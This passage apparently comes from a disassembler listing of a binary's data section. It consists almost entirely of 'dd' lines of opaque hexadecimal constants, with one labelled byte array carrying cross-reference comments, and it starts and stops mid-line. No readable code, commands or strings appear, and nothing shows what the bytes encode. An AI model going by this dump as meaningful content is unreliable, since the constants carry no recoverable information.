0F660EC27h, 592C00FEh dd 83F81DF1h, 0CFD08F00h, 0E73328BDh, 0B87C3CBEh, 819FD300h dd 0F8070F19h, 0C4A39000h, 526C49E1h, 0E004256Dh, 2F008CD4h dd 4C1EB1ACh, 0CE16007Fh, 0FA0BA37Dh, 0BF26C956h, 910244F8h dd 0C0F69454h, 0F39802h, 35463A10h, 279B44ACh, 1C1B91Eh dd 167E1A00h, 727ABDh, 22AB8468h, 0D83D5A71h, 0F4E7903h dd 90C0B60Ch, 0B64D3A5h, 0B440050Eh, 404C1F05h, 4530CDCh dd 2207B884h, 0A3F126DEh, 2A157E30h, 5E6F0346h, 0A07BC98Ch dd 0CB3C8003h, 91B25BDDh, 0C8FDD0A9h, 9A4800F3h, 7041745Dh dd 0A023F30h, 8880A3D5h, 58760D8h, 29AE0114h, 0DA41710Bh dd 0ECEFF117h, 0D401E42Fh, 5B6E7032h, 0F9F4A493h, 0AD1B1F5Fh dd 0D164D1h, 0A3701FC4h, 403EF83h, 8D08F438h, 0BAA00010h dd 0BDF8C581h, 950C96B1h, 7EC64DE4h, 0CE8A0048h, 11401956h dd 3000C133h, 4999A865h, 0F0ECF85Eh, 0D2FA0094h, 20F4CFCh dd 0A80048A3h, 0CC6F498Ah, 79BB4E87h, 0D901007Fh, 6B0EF49Dh dd 5006220h, 0B987E21Ch, 0A0BAEBB7h, 377BF80h, 0C27F9BE8h dd 63E82C9Dh, 0A50F855Eh, 40C7FC38h, 1BEC5D02h, 0BCAE007Eh dd 9642934Fh, 47E2B873h, 41868300h, 0B2924D80h, 66B002Bh dd 57F6A413h, 180F19A3h, 497D8FA9h, 0C510095h, 19C9DDCh dd 3A842BC1h, 602AF880h, 0B30A5976h, 907B5AC6h, 3C000F17h dd 6A80BD36h, 0DE6800F9h, 0C6CEBB6Fh, 3E061DBAh, 0C5310812h dd 42240CFEh, 234063F5h, 48184F3Eh, 0B81A3AECh, 640BF9B6h dd 75BEE04Ah, 74AC1900h, 0C9007004h, 6E0F7351h, 4C56851Bh dd 0D83DE05Fh, 9559AD80h, 79A8D9E8h, 17DD9C00h, 8EF336C9h dd 75724ACh dd 9B2E0008h, 0D499D9EDh, 5DE8CC00h, 0A1C240E0h, 0C8136145h dd 0DB52771Ah, 2F6C75D0h, 0E0E11028h, 0AD036D07h, 0BF7026EEh dd 663AFAh, 405D0814h, 0EBCE0441h, 3200F8E8h, 24BF6BE3h dd 9285B8h, 45C75AFCh, 0ACE9B659h, 5CE8DC6Fh, 0F45C6903h dd 0AD10E8AAh, 4E130015h, 1255BD62h, 4001166h, 30DBCCF5h dd 54379Ch, 0EB60505Ah, 53789133h, 1A645B0Eh, 98842099h dd 0E2747Bh, 72B23051h, 0A959C1C0h, 0CAE86500h, 0FD99B32Ah dd 38E1F603h, 27852409h, 837E705Bh, 0CE8025ACh, 400863Dh dd 0C4B122CAh, 3A64A621h, 0BD813B93h, 5E7ECF14h, 0ABE0FA74h dd 0F300DA73h, 0B97CB0E5h, 0B84EAC31h, 69E600E7h, 3A34F214h dd 0BB01769Fh, 0B97F48F8h, 90F3D15Bh, 0F2F5371h, 69F7B0Dh dd 0C0601D33h, 0CD5815B1h, 0A50030DAh, 0C4201146h, 904CB8h dd 357CA240h, 446FCB0Bh, 42F2CD00h, 0A5600484h, 85F70092h dd 0E7FB4641h, 0A2E4C253h, 4E9D2D01h, 0F919E23Ch, 43A3E8EFh dd 37090042h, 0E41DB57Bh, 0A05E1BFh, 3614120Eh, 2840E5C0h dd 0F9E0069h, 0CFF45FA6h, 9D07E171h, 0A4626319h, 0E3A000CEh dd 1C3AB9Ch, 20E6B9AFh, 0F88DCDFCh, 2C00CFB3h, 74DADBD7h dd 0C8AE18h, 0F901D3FBh, 27EBC4E5h, 0C001E872h, 868FCF91h dd 66E8DF74h, 0A2A90587h, 0C2D842h, 51E9DC88h, 7C077FB7h dd 2FAC91FFh, 432227DFh, 421F3900h, 0B569000Fh, 476455E3h dd 1A00D80Ah, 0A8F62B26h, 3BDC67h, 0AC7D826Ch, 0DBB3A0B6h dd 6E013C90h, 78255B70h, 61D40A17h, 90389241h, 4AF600ECh dd 33C94BA5h, 8CC00F27h, 1C64B657h, 3D2F1E8Fh, 50B70034h dd 6175ECF6h, 1B31DD12h, 560C3C00h, 76EED1Dh, 0D06F1F0h dd 504640DEh, 8E1CD0ABh, 93933BF7h, 67355440h, 3F0D596Dh dd 39072615h, 0A7341769h, 9CE471E3h, 71188014h, 1E1A0191h dd 5581186Bh, 0FF0594E7h, 0E3034400h, 7C7A1DDCh, 9F02013Dh dd 23A486C2h, 0CF89C80Dh, 0FD00E47Ah, 0A5ACA808h, 213C56Eh dd 0D0AE8FCBh, 28C86336h, 34000412h, 83A80F1Ah, 4BC0192h dd 64DE3A09h, 5728C3E2h, 4FBB48B8h, 0E40855E4h, 4065BD7h dd 0C0C324E8h, 7E4D0B30h, 3F614B16h, 0D075C500h, 33D018Bh dd 0D341995h, 0CAA3990Fh, 1BB3B7C0h, 0AEA8573Ah, 0EF8268F6h dd 0E0A280F5h, 0F12E170h, 0A4A02DF4h, 41E2F987h, 0E42F7838h dd 0DE7CAEB0h, 1DCD001h, 0BBE49727h, 38E7E860h, 0F080B4B5h dd 0E03E3220h, 4B000E09h, 47B7A6B0h, 0F6BE57Bh, 5BCD22Ah dd 8DB672A0h, 7F002D7Ah, 0BA3A0B58h, 8F8CB7h, 0EB9A3E52h dd 2D4F2BFEh, 652CCA00h, 5185DAE4h, 0BF2A0FEFh, 0C1800B1Ah dd 3532A34Fh, 24CE1000h, 7F435141h, 23FF00EFh, 668D852Fh dd 2B7C4D08h, 683D5BEEh, 0E8BCB01Dh, 0E6B47AD4h, 5DF0002Fh dd 9E06B342h, 8F28167Dh, 6C3C8A72h, 6E82809Bh, 0CEC461E6h dd 0E3280F73h, 0AD408C7Eh, 4D3250FFh, 8912DC3Ah, 1ECA67h dd 0A9A3EE1Ch, 14BAEBh, 0BDDA59CDh, 0AE06D3F1h, 7177F900h dd 0AF43BF79h, 0CC8E00B8h, 3856838Ah, 2B485298h, 95F000Ch dd 0DD01CD17h, 6570B51Dh, 60026E8h, 0A09E056Ah, 162428F8h dd 0F4CA5Ch, 391B8476h, 0B070170h, 685967Fh, 3DB75680h dd 0EF7401D3h, 0ACA3EBD9h, 746FE109h, 4C04C2D8h, 0B45B1596h dd 2B603890h, 9A690078h, 0B528F331h, 761EAFF0h, 0C802A616h dd 400A130Bh, 0FB3B7F40h, 90EA2EF8h, 91E70F50h, 740E6380h dd 0D40B20C0h, 5E00A164h, 89C2F4E8h, 4A683833h, 0B9A40486h dd 4044A0F8h, 1590BA00h, 8E1DCA31h, 0DB9826E6h, 398202Bh dd 9CF0DD0Dh, 0E7E89495h, 0D53D81ACh, 0A3C4802Fh, 0E19EBFECh dd 24323C64h, 0F6AD01FFh, 9B52E506h, 0BC1182D9h, 80E18BDCh dd 0EAF7D6A0h, 5CDAE696h, 0C500F8D0h, 8D54ECE8h, 700F3145h dd 387F235Eh, 0BD28AA9h, 0ACBFC02Bh, 0A0937D00h, 0BA066959h dd 0BCF381AEh, 6B78C8h, 0DCD60BEAh, 67155D5Bh, 0F09F4407h dd 7F1353EBh, 0B074B8h, 0DD7325Ch, 961C8665h, 8EE5Ch, 5E476909h dd 70158Ch, 4E74A266h, 99E7775Dh, 6707BFF0h, 0C22A9162h dd 5B5501D0h, 29582428h, 424A3C18h, 1FE13870h, 5259C80h dd 0EB3AE5A9h, 7893CC57h, 0F770E800h, 5628D2B8h, 0A38F0023h dd 9AAEC04Ch, 0DF00311Eh, 0F0D86B4Fh, 0A009DB42h, 4DC969F4h dd 0CA260866h, 98DD019Ch, 0F4B8FA05h, 0CE306335h, 0C59021D8h dd 316B3DF8h, 50189780h, 0DADEC1BDh, 829CC23Ch, 9978B4A2h dd 9478E01Bh, 0D2290FF7h, 0F5E0AE71h, 2392ECE6h, 52A63700h dd 702496B3h, 0DC333CE3h, 7D79ACh, 0A3E67B26h, 990ADD7Ch dd 0A8FBD61Dh, 0A9C0681Dh, 0AFAD1854h, 0B26F00B1h, 7C0CCE31h dd 0CBF8478Eh, 33EEE600h, 46828A94h, 4E57166Dh, 0EF12007Dh dd 8C4408C9h, 6E95FF00h, 0A47739FDh, 72F203C1h, 0BA851343h dd 0DAD659E8h, 90F43Ch, 2944A4F1h, 0B58266C7h, 0A5008DF8h dd 86F3D01Ch, 0E246E6h, 28FC4B36h, 0B0D5D93Bh, 93B54D03h dd 0A3D3EF67h, 4080C4A1h, 5F7C9Ch, 43D73908h, 0C7603337h dd 9DB3FC38h, 94683C61h, 266F2200h, 68A6FA07h, 0A83F0183h dd 0C20C419Fh, 0B5C4245Eh, 0C58B8507h, 179001DFh, 3AAE331h dd 55ADDEEEh, 38B04BBCh, 4002263h, 5CF3B3C1h, 0FA26A592h dd 273A0053h, 3D8ABFF7h, 34FA5644h, 0A93058E8h, 87A4A81Fh dd 398931DDh, 0C8EB8A28h, 573EB08Dh, 0C3910FF6h, 0E6FEA0A3h dd 3F4B378h, 282BE8C6h, 89B1B8B7h, 2EDC62EAh, 8039F00Bh dd 79E2CB4Fh, 2412D0Eh, 891A8CC1h, 0C2C05F91h, 860151B0h dd 0FAD6F456h, 7FE0C737h, 1DC7F82h, 3E3D6CC9h, 0E8FBBC22h dd 3001CF1h, 0EAD94997h, 48C52E9Ah, 70F36Fh, 552A8F61h dd 3EC099D4h, 37814400h, 30F6B98Ah, 412C01FEh, 9456A622h dd 684DD443h, 137DE609h, 0DF1801F5h, 81D4A863h, 7E46003Dh dd 0AD343632h, 23001F62h, 6E2CEFA6h, 173EFA80h, 0AECABEE1h dd 0F4405D1Fh, 12810E0Dh, 5C8709B5h, 24E0018Fh, 4E014B96h dd 0B4623949h, 0C1F0D770h, 946A382Bh, 0DAD50A80h, 0F112CBFCh dd 6051C82Ch, 0F0008312h, 0F745F678h, 27A80034h, 0A3C55DCEh dd 860199D7h, 8594D140h, 19808479h, 0DCC4EB70h, 0F5007CBBh dd 0F6A2F036h, 0E0899B77h, 16080027h, 47C51B78h, 0AA004083h dd 0A4A18A32h, 16301390h, 82C75524h, 1CC4C810h, 9DACE000h dd 0E4029FAFh, 0DF7E00ABh, 2E7858D3h, 0CC003C79h, 7CD96EB2h dd 1E3EF96h, 6DF8BA49h, 0E4A5F4D8h, 0CB001439h, 0F90BDE06h dd 80686Eh, 706A37CEh, 28ECC97Eh, 34EF4F0Ch, 7FD03008h dd 5BAF24E7h, 3FBF001Ch, 0C41F1298h, 0A2723A00h, 0D8D7D15Dh dd 817D00A8h, 8AAB96FCh, 3A00BF52h, 0E71D424Fh, 543746h dd 1B29FBC5h, 56382D5h, 0C6200D00h, 4DCF12A3h, 96BE0055h dd 0DB6050F6h, 0A6003E38h, 0AB2BF20Dh, 0E454E62Dh, 77FF0362h dd 589B6FBCh, 49152AE0h, 7A935A00h, 4CC3E670h, 0F978009Ah dd 0BB3E64E0h, 0E41EA0ADh, 28F0A5EEh, 4AB579h, 9B1B77DFh dd 1F08648Ah, 0D9ED6500h, 36933467h, 0BAB10052h, 0A52088E4h dd 0F5049F9Bh, 97E6E274h, 0B4B800B3h, 536C0086h, 977796F4h dd 9407AD36h, 207AFD91h, 0B4A0E984h, 0BEB9000Ch, 6682D335h dd 343BC658h, 0F8AD0067h, 1E8D740h, 7A824B7h, 0B66C0044h dd 0FE255E71h, 0C1E65A14h, 0CE5D0BB4h, 0FD0580E5h, 3085350Bh dd 213004E0h dd 42095552h, 0FD34D701h, 0F4B81300h, 0B040892h, 0EA07772Ch dd 10DA4C92h, 120392C2h, 99E60560h, 0C0A7F2AAh, 14A8D4Ch dd 4217158h, 246432BDh, 36060344h, 0ACDF2A57h, 2F381628h dd 5CF4034Bh, 198E01D1h, 60A17200h, 0B820A9BDh, 4D4303A7h dd 230DCEC6h, 0C4B7CB88h, 29092604h, 54C141E6h, 14FCFFC9h dd 1FC1265Fh, 0BFCE00EBh, 20F7EBB8h, 0C0883558h, 0B257FBAAh dd 2818003Fh, 0A8D7EE5Ah, 2300AE09h, 81D9117Bh, 3C949B88h dd 0AF002FF5h, 0EC1BB7C0h, 5D004C40h, 6153EF8Ch, 976D80Ah dd 4DDA04E8h, 0F8643400h, 0A2078245h, 132E674Fh, 0E21FBD30h dd 0C2BA1586h, 0E312A0FFh, 0C6708003h, 0EA247029h, 7902D857h dd 0C01F98C7h, 3BC3B9A7h, 103DE23Fh, 0BA469F00h, 0B05C947Fh dd 582BE00h, 575E49ACh, 0A21A00C4h, 0BF6A7D4h, 174FC5CFh dd 3480EC35h, 0AEFADCh, 59720C18h, 17526A25h, 87030374h dd 40CE21D4h, 2B67F002h, 0F9E83DAFh, 93E0E500h, 0A97A8294h dd 0D88ECE03h, 0C8DCDBC1h, 0F4F3056h, 0F492C8C9h, 54C04DCFh dd 0EA24FDD6h, 6E527E14h, 0DA7103F8h, 908E53FFh, 16C402h dd 0EF89448h, 85F632F5h, 9B6A090Eh, 0DC9DDE88h, 989E1744h dd 0F4DDC8C0h, 0EB210025h, 0E27E623Bh, 0E90732DFh, 0A7F3D657h dd 90C309B3h, 1E93AF0Fh, 80F2E6ECh, 24C7598Fh, 0B60057CBh dd 0D9A670E5h, 1BF7DEh, 9F442E8Ah, 30A1E3Ah, 8D57F600h dd 0D7236DA4h, 14AE00CCh, 15A81660h, 6900E29Dh, 9F594C1Eh dd 25512AA4h, 9CF84EC5h, 0F6A8500Eh, 0AE028001h, 38B5639h dd 74C734F1h, 0C4F14F75h, 0D003E4A5h, 22BCCA00h, 987D4960h dd 76537502h, 4E3A07E5h, 0C71C7B2Bh, 0DED0B03Eh, 49B06B9Dh dd 6E513900h, 0EB3D83F8h, 0F1F20086h, 3F81DB27h, 0FF005A97h dd 800E38EDh, 61B63Ch, 0C90F56Ah, 0E711A8A6h, 257D2C18h dd 0D0526861h, 0B003E908h, 0A0C95D9Fh, 0B68AA9A0h, 80E718C7h dd 0C3B8B9Bh, 0B8108Dh, 40ABE9Fh, 5467477Ah, 5CA2C61Eh dd 59E5FCCCh, 1E2AF521h, 0A054031Dh, 603FD105h, 87610C25h dd 1AC2909h, 5CEE470Fh, 0E3628C53h, 540801BDh, 83CB524Fh dd 0DEE71F70h, 30029D4Ah, 0F81FECFh, 72D5471Dh, 4335C776h dd 8800FF48h, 19813EF4h, 0A2CC2Bh, 3DDA6C7Eh, 52E40C02h dd 82962D00h, 5C2B133Ah, 0B4BC001Ch, 0BAF5729Fh, 54002CDFh dd 5DCA5832h, 11AD62h, 0FCF0C5B0h, 0BF5AABC4h, 9A48AA00h dd 59619E4Ch, 0F9A0079Ch, 1095BE47h, 0BD4F22ECh, 0C8CFC900h dd 4E4C7B44h, 8CA50F71h, 96A03770h, 0C2A9FFDEh, 0D02A7336h dd 63048FD8h, 110086F4h, 0C8AFB094h, 0C93453h, 631DB131h dd 39A003D4h, 350BB3Eh, 382201CBh, 94AFE759h, 16643ECBh dd 0CBFFC4Dh, 48598CD8h, 0DF28490Ch, 42D150CAh, 0D67D0669h dd 0A29B8D3h, 2E40CD2Ah, 0E9A200ACh, 67304CC1h, 6E3A807Eh dd 917B00CFh, 0A0B68C5Bh, 0F6B9C34Ah, 0C1227CDDh, 0E15A0C54h dd 65194C47h, 0F8886800h, 67442650h, 707B5361h, 6370D10h dd 3F853351h, 31FF742Ah, 0E0E82D40h, 6303003Ah, 5C3E0042h dd 81E4D125h, 0B344D2D6h, 0D43C158Eh, 3E804C54h, 803A6485h dd 3D2C8103h, 14261330h, 0FAFAA8A8h, 6B069442h, 0A945E888h dd 7DFD5426h, 42293831h, 0D59D5980h, 3751A7Dh, 0AF59A400h dd 0DB0FE4CDh, 181400CAh, 1193CF84h, 5F00210Dh, 0F249B06Fh dd 125D4EA1h, 2B1FC8Ah, 8DE8D618h, 20B9F422h, 41A45C19h dd 2866E200h, 4AB4B5F2h, 0E37EAFh, 0AC587762h, 5D59C420h dd 1CE76C28h, 8F1CA300h, 0CE71848Ch, 37A43915h, 3F03DD00h dd 0CB499CE3h, 32FC282Eh, 5CFAD400h, 0EAA16602h, 0F5C9071Ch dd 0C0D152A8h, 0DB4F648Ch, 87E6B73Eh, 0DD65A45h, 52D7002Eh dd 2213751h, 54E6D89h, 0BC1C503h, 407BD9D3h, 0C3B52A8h dd 0C9AEDD07h, 0E6137FE2h, 0C56788A5h, 359F1C2Ch, 8415022Dh dd 0C660FB8Bh, 903ABB31h, 21D07569h, 6DE30793h, 8410717Ch dd 0C17792h, 3857E79Ch, 33257822h, 0CD07F702h, 40202D32h dd 0FE458417h, 2BE507C7h, 46D1771Eh, 59002142h, 0A2E98478h dd 634FAFh, 5FC098DFh, 2DAEA851h, 0CACB560Fh, 6003CCBFh dd 0B9B600F8h, 41094A58h, 3503A487h, 2D8820FBh, 1A8A631h dd 500E44CDh, 7070B466h, 3B186C2Fh, 0A8213836h, 910E004Dh dd 0C82188D4h, 6D0C1F68h, 0E92FE694h, 0EE2A0719h, 20B63ED3h dd 949D4B57h, 187B98A9h, 8F841C01h, 0C81710FBh, 0C07A9DDCh dd 0F75A01E2h, 2501BD0Dh, 374A3629h, 2FCDAB6h, 0E685015Ch dd 0E30F46C8h, 30A0402Fh, 0A6058AAh, 2AF334F0h, 5EAF00FCh dd 0E5B45D6Bh, 0A4076AA1h, 88F592E0h, 63E2F400h, 0C4270015h dd 138F14B6h, 0C006D79h, 188DE9C5h, 1FE416E5h, 3F4D9138h dd 5BDF2A83h, 32F862DDh, 0A4000875h, 0B0B986C3h, 0BA392Eh dd 81858F27h, 0E42C8D51h, 0B43C9A00h, 878C3595h, 9940052h dd 8E819183h, 0D000AED1h, 0D33D1C15h, 1E080h, 0E87DBBADh dd 0F23EFAD7h, 66DD530Eh, 8042EE6Ch, 0DBB92BC7h, 78A6F48Ch dd 44580016h, 76B4BE5Dh, 2B1E6D13h, 193AB13Ah, 1229DF10h dd 9D44E908h, 0EB22841Fh, 0C63E22E1h, 0E5ABB722h, 0F3441508h dd 3122847Ah, 388722C8h, 20E20522h, 3E723B06h, 0FA839A00h dd 6C0345B1h, 849D003Fh, 11BD9BDh, 0C500337Ah, 2D0C6A9Ch dd 2AFCE4h, 0CC0BBEA6h, 17DEDC25h, 0C842A800h, 0F94014C3h dd 11F89794h, 9F365400h, 266135F5h, 57600024h, 0EE1DEA08h dd 1000E86Ah, 80E36B4Bh, 35E82h, 0FC776C02h, 4C05D006h dd 2744E600h, 3484A3A6h, 49DF0094h, 0B4251BFBh, 0A7D24DDh dd 0D5693A07h, 0AEE01712h, 0CCDDA65h, 25CB7166h, 8439DF20h dd 5744817Fh, 0C8EC3914h, 0F819DC53h, 505E7AB1h, 34B9FFFh dd 0B6D4E283h, 0C0D8DA8Ah, 0CC003742h, 9E8D71D1h, 78FC29AFh dd 0A8E01D43h, 0C0055C65h, 0AD710B5Eh, 5C3DD372h, 9DC700D2h dd 0C08FFCEFh, 781800B8h, 0F630CA41h, 0C148CC61h, 10E83090h dd 225AED11h, 0EA00DE7Ch, 39F485AFh, 0CFC5C2FFh, 0C6886AB0h dd 0B08AA207h, 0B64598D0h, 2CF10956h, 35800C89h, 0B905FD86h dd 4A2B1100h, 0C04239C8h, 0E5CE1D76h, 7A1B4031h, 8CC6862Ch dd 0DB998000h, 70F76A5Bh, 1DED73E1h, 402575EBh, 0C04BD4F3h dd 1800B57Dh, 0A46133FEh, 3230E0Ah, 5B0D897Ch, 5CC019E7h dd 2D003E8Ah, 822C166Eh, 7F02FB1h, 616DBB71h, 0FA70A3A9h dd 79F63180h, 752E2500h, 0E60DD21Ah, 866001D9h, 9BB1A065h dd 32B4801Bh, 7D50EA02h, 0AB20EDDEh, 7C9700ACh, 30171BA4h dd 0C600E86Bh, 28AAA178h, 1CBB4DCAh, 5EB8EED2h, 0C0483F82h dd 73B4B000h, 0ECC2FD07h, 4F985900h, 5A26945Dh, 0EADFC91h dd 0DDCCC557h, 93B2ED24h, 0CBA85E78h, 1F1CDAF8h, 0C6416E9Dh dd 717BF9F7h, 1B2AD0h, 2DDE28A3h, 5110BFB5h, 0AF08F00h dd 6113084Eh, 247100FDh, 0A688B0B8h, 0AD3C7F3Bh, 0DB1F009Fh dd 60EACDD2h, 5509009h, 0FF549926h, 698C00C0h, 76504CE6h dd 228B970Eh, 3A52C0DAh, 9DA33Dh, 24BC5B1Ah, 0F2F9FE72h dd 0E4B58103h, 0B04EFA69h, 50A95289h, 789554h, 0CA0856A4h dd 9CC2D5AAh, 1EB8C303h, 0A07A6C2Fh, 486FFDB4h, 5A24B140h dd 42E80089h, 91A57A3h, 7DCFDB00h, 759F3EECh, 129EEECCh dd 0C1ED76h, 0E96FD104h, 0D500571Dh, 9B857AADh, 3A73308h dd 0D7436027h, 3FA02473h dd 0B3070FF6h, 7EE8129Dh, 0B4F40880h, 47AE00A5h, 77718DF1h dd 0B10607AAh, 397A535Bh, 0DC9A00E8h, 351620EAh, 9C3B55C0h dd 2E9381D6h, 0C1C2A26Ah, 39A0DC4h, 65EB0F1Eh, 0B980E470h dd 0D83F48CEh, 0A7980126h, 0B686E7DCh, 0B31CC0h, 5E9C96D5h dd 830B3492h, 1AD32400h, 8F53C413h, 953E0965h, 83004301h dd 9892DCECh, 154801BDh, 0E8EFC48Fh, 7C6B93h, 0EBCD3F6Dh dd 0A579B71Dh, 0D6326300h, 4EDB1E2Dh, 474D00ABh, 5CBD1E3h dd 5D00B6F2h, 85697FF3h, 5C5811h, 0D5D6A2E2h, 969C0F90h dd 0BF07BA00h, 0EDCC3A38h, 529F240Ah, 2DCE02E0h, 0A4606887h dd 1E7BF4A7h, 789B482Dh, 9DF8009Ch, 649EC216h, 2D0152F3h dd 8ADA7E0Eh, 0D0704480h, 47B900B4h, 0ADC1CAA5h, 0EE2690F5h dd 11008035h, 3EB436F1h, 892E25F9h, 3400A356h, 0AB6BFA5Eh dd 3A5817E4h, 4A52076Fh, 354B52EFh, 39D10760h, 33A8A7Eh dd 0E6480009h, 6BD011A6h, 0FEEC0084h, 0A79D6110h, 9F008318h dd 0C2F9157Eh, 9194BBh, 0AF5171E6h, 1D5B8405h, 0EC689200h dd 934BB5CFh, 48E7A6Ch, 941ABCF9h, 0D63780FBh, 0BFE9A7C5h dd 36DB0058h, 3428FF33h, 8B0600ABh, 67839214h, 9707E388h dd 0D327C51Bh, 42A993C0h, 0E7D8006Fh, 3E72BF6Ah, 681EA5E1h dd 2180D213h, 0CECBF406h, 4CBE1FE9h, 36B680C2h, 0D38F20BCh dd 447D8901h, 0DC852B0Bh, 124EDAFCh, 0B84733h, 116F99E2h dd 2D1F6E40h, 2FAEE639h, 33CDB200h, 209E95h, 37BB66CBh dd 7DC11B18h, 77009FFAh, 124CC35h, 14C003DEh, 0F4297880h dd 0FBC97100h, 0CE602899h, 91A3341Eh, 5B8219C0h, 0EEF9FCC3h dd 0F7291D37h, 26A8C171h, 0F49C01C1h, 0CCB010D0h, 0FD554326h dd 0E304FC28h, 4AA1AF31h, 202E5488h, 3E03A244h, 0BC2AFA87h dd 2F3D86Ah, 8B8804FFh, 80C64FEFh, 0A24A4937h, 0D2CBCD00h dd 2F5768F9h, 0FE3B0014h, 0A1283AEh, 5C0EB0B7h, 209E8574h dd 9F2FEA1Ah, 0E0476068h, 7B22A710h, 8F2A4C00h, 132EE4BCh dd 0CFF0D6h, 9661E14Eh, 8DCBA95Ah, 0FB84D350h, 0A6723F05h dd 10C0315Bh, 553DE1h, 5652A02Dh, 6448B959h, 9AD34300h dd 3BBFF125h, 0D1F90062h, 497102EDh, 0C87BF4ABh, 888E592Ch dd 5B1DAA05h, 31F25180h, 8BF003C3h, 0D9E44C9h, 8F891A8h dd 8C513Fh, 0C51918E7h, 1DE10393h, 4023C059h, 309CE3BBh dd 0BA00A8ECh, 96247F39h, 0FAE8E6h, 0CD462737h, 8754205Dh dd 4AFB3Fh, 0C75A6B5Fh, 0A99C0Dh, 0D5BCDB4Fh, 0C91154B9h dd 0C8374100h, 0F8E79981h, 8CE6A8h, 4AFCC765h, 2C870B40h dd 0E24EA700h, 4088949h, 7EE79DEh, 904161DAh, 0E420B0D9h dd 501F2FF9h, 358196DFh, 0A2691357h, 7CA37AE0h, 3B81F486h dd 54801A60h, 5275EABAh, 29125D05h, 0FC003418h, 1F2A0979h dd 0CA9A00DDh, 717FDAE1h, 13EA46AAh, 0E7052400h, 0CD6B6639h dd 8A29001Dh, 8D596E4Eh, 0EA7BAF2Ah, 568EA404h, 2D847B49h dd 71DBE000h, 3B8479F9h, 35800578h, 81D5E35Dh, 6D00BCABh dd 342A520Fh, 705CA6Ah, 0E04550E1h, 81BDB77Bh, 60B44175h dd 0E6009014h, 690F2E9Bh, 48DF0922h, 0F900D466h, 0FA4BF86Dh dd 0E32EE0DEh, 0AF007CC7h, 0FF31EB89h, 0DCE8C0C1h, 0FE6ED6Bh dd 504BD507h, 7E5060AAh, 77ABCFAh, 173D75B2h, 0A4DCC0C0h dd 18010F2Ah, 0D09554F9h, 6030DEA3h, 1640901Dh, 2101A964h dd 244974DCh, 0C00264Ch, 6CFB111h, 1419E559h, 0B85C5568h dd 0E645EB0Dh, 0E26C6029h, 0A187E800h, 19326A2Dh, 95430723h dd 502F15EFh, 61978F6Ch, 7B332B18h, 0D48240h, 596A8E9Dh dd 0E6861625h, 0FE7F7E00h, 0C8170915h, 0CEA7091Bh, 7887F084h dd 6BC6E0EEh, 2400D390h, 4FDCF561h, 8FA3F9h, 0E005F154h dd 7831BE47h, 252D8300h, 0E362A661h, 378058C5h, 0FDAF4050h dd 548F7C60h, 1CE47866h, 0FDF630CFh, 8CD3D20Ah, 542CB4h dd 0B4C033EDh, 4B58CC6Fh, 346D00D4h, 0BCE3DCFBh, 83501EE9h dd 336C0CF2h, 0D200E830h, 0D85FA221h, 726FE168h, 9EE0F86h dd 38E03C44h, 7DCC9148h, 0FCF63E00h, 6D205385h, 0A4EF1E89h dd 0B458003h, 0AA836F27h, 0FFC3571Eh, 854F3B9Fh, 20B987C8h dd 0A090C790h, 0A2AE00FBh, 67FCCC6h, 5400CA71h, 0E31326E0h dd 50F63386h, 5D60C42Dh, 3203686Ah, 9E49B55Bh, 0D9C5EFD8h dd 8CBE1A28h, 53D42700h, 0F47B1E91h, 444A0030h, 0D0B5EA13h dd 0ED030FFAh, 0FCE7882Ah, 0AAAEF0F3h, 0CE303997h, 904DC8E4h dd 0CB9E73DCh, 21B4F800h, 36BCD449h, 3A30C5F2h, 58BB8053h db 3Fh byte_520045 db 87h, 0Bh, 0D3h ; DATA XREF: ___:004380E8o ; ___:00438100o dd 801005D0h, 7AAA6464h, 754A0047h, 6DE4D50Eh, 8400091Bh dd 0BC730C76h, 9B85631h, 9311C5E1h, 140F24A1h, 70007051h dd 0B23C6F00h, 40E907E5h, 0D4160019h, 865A65BAh, 0F900C8F3h dd 23255E0Dh, 9C52C5h, 0BCF473B0h, 353A6350h, 8915F90Bh dd 794C0317h, 0D2D0AFB2h, 738DBD7h, 5D613A20h, 0FC8E56Ah dd 31602BDCh, 0C755E2A7h, 605CA616h, 729BF804h, 0FE2BCCCCh dd 0A3591EB6h, 3F5362h, 0C81E4BFh, 0D00F593h, 528AF05Ah dd 0F65955h, 14A1DEC1h, 323B3D2Fh, 53A8B509h, 0B3D06095h dd 0DF000A5h, 4E59F5FEh, 0F31E70B0h, 5F000132h, 6B4AD8Ch dd 58FB985Ah, 6E006F4Ah, 800824C2h, 1C009741h, 6468F59Dh dd 12BB50F4h, 32B2818h, 530AB8DCh, 0DACAB2A0h, 0FA66A100h dd 21720D5h, 0B27B6098h, 6589D45Ah, 68EEE301h, 41A54932h dd 0B8EF17EDh, 0BBEEADFh, 9CCC37BAh, 6BC9FC01h, 66B602C7h dd 54B10A28h, 8C86F6h, 8B9C799Eh, 26580AFDh, 18CC0568h dd 0C0BF3FE8h, 5DB08254h, 80592C00h, 697BA4A2h, 6BE1398Bh dd 82AEED01h, 20B1335Ch, 1260C404h, 0F5EA95E9h, 0EB8B8CBh dd 88A46DE5h, 1169C007h, 0EC81D24Dh, 0C60A61CEh, 0A8EFB768h dd 405B0700h, 2F387BAh, 9ED6E309h, 50605E8Bh, 7200A16Ch dd 0A02456A4h, 22E21E9h, 870427A6h, 0E840E5DDh, 0DE005E22h dd 0B0A973BDh, 18C99AB1h, 40356C4Bh, 7B02069Dh, 37A65811h dd 67106063h, 0BE2F0ECBh, 1BA16823h, 306698D1h, 0B50206F0h dd 81ABD3B0h, 6CA08044h, 1277364Ah, 827E92h, 4B1188B4h dd 14001E1Dh, 0B640F3FAh, 907B477Fh, 1CE500A8h, 2A0C9A56h dd 1098A225h, 13F75B00h, 0EDD5D8AAh, 8A1D281Bh, 3153009Ch dd 0D46D7696h, 0BB0E49C0h, 40752563h, 6C2283F5h, 0F4B95292h dd 141CF003h, 9800730Fh, 0AD71F47Fh, 7B087A8h, 0B1B86D7Dh dd 982810DCh, 0AB00D214h, 473D7E27h, 296A99h, 928C57C6h dd 0E1B3E230h, 87482A60h, 4B051Dh, 407F33D3h, 0F0AE923h dd 5129971Eh, 9B206BC0h, 0B9260Bh, 249D43EEh, 86DC2381h dd 5ED63D03h, 0D870ADFEh, 0E4E576AAh, 15910069h, 0CBC12541h dd 201C0F85h, 3AFCBFE3h, 0BEBBBE29h, 6A02806Dh, 0CE049DE7h dd 9ACF001Eh, 3585EBF2h, 8900BC4Dh, 59E46776h, 0B85FAAh dd 0B74CF4Ah, 0F2C0C1DCh, 440AC900h, 0D6F693F1h, 72730015h dd 9D58A754h, 0C07770DDh, 0F2FE7C78h, 0D868D307h, 630FE23Ch dd 0D058720Ah, 398C01E6h, 0C200616Ch, 8805F628h, 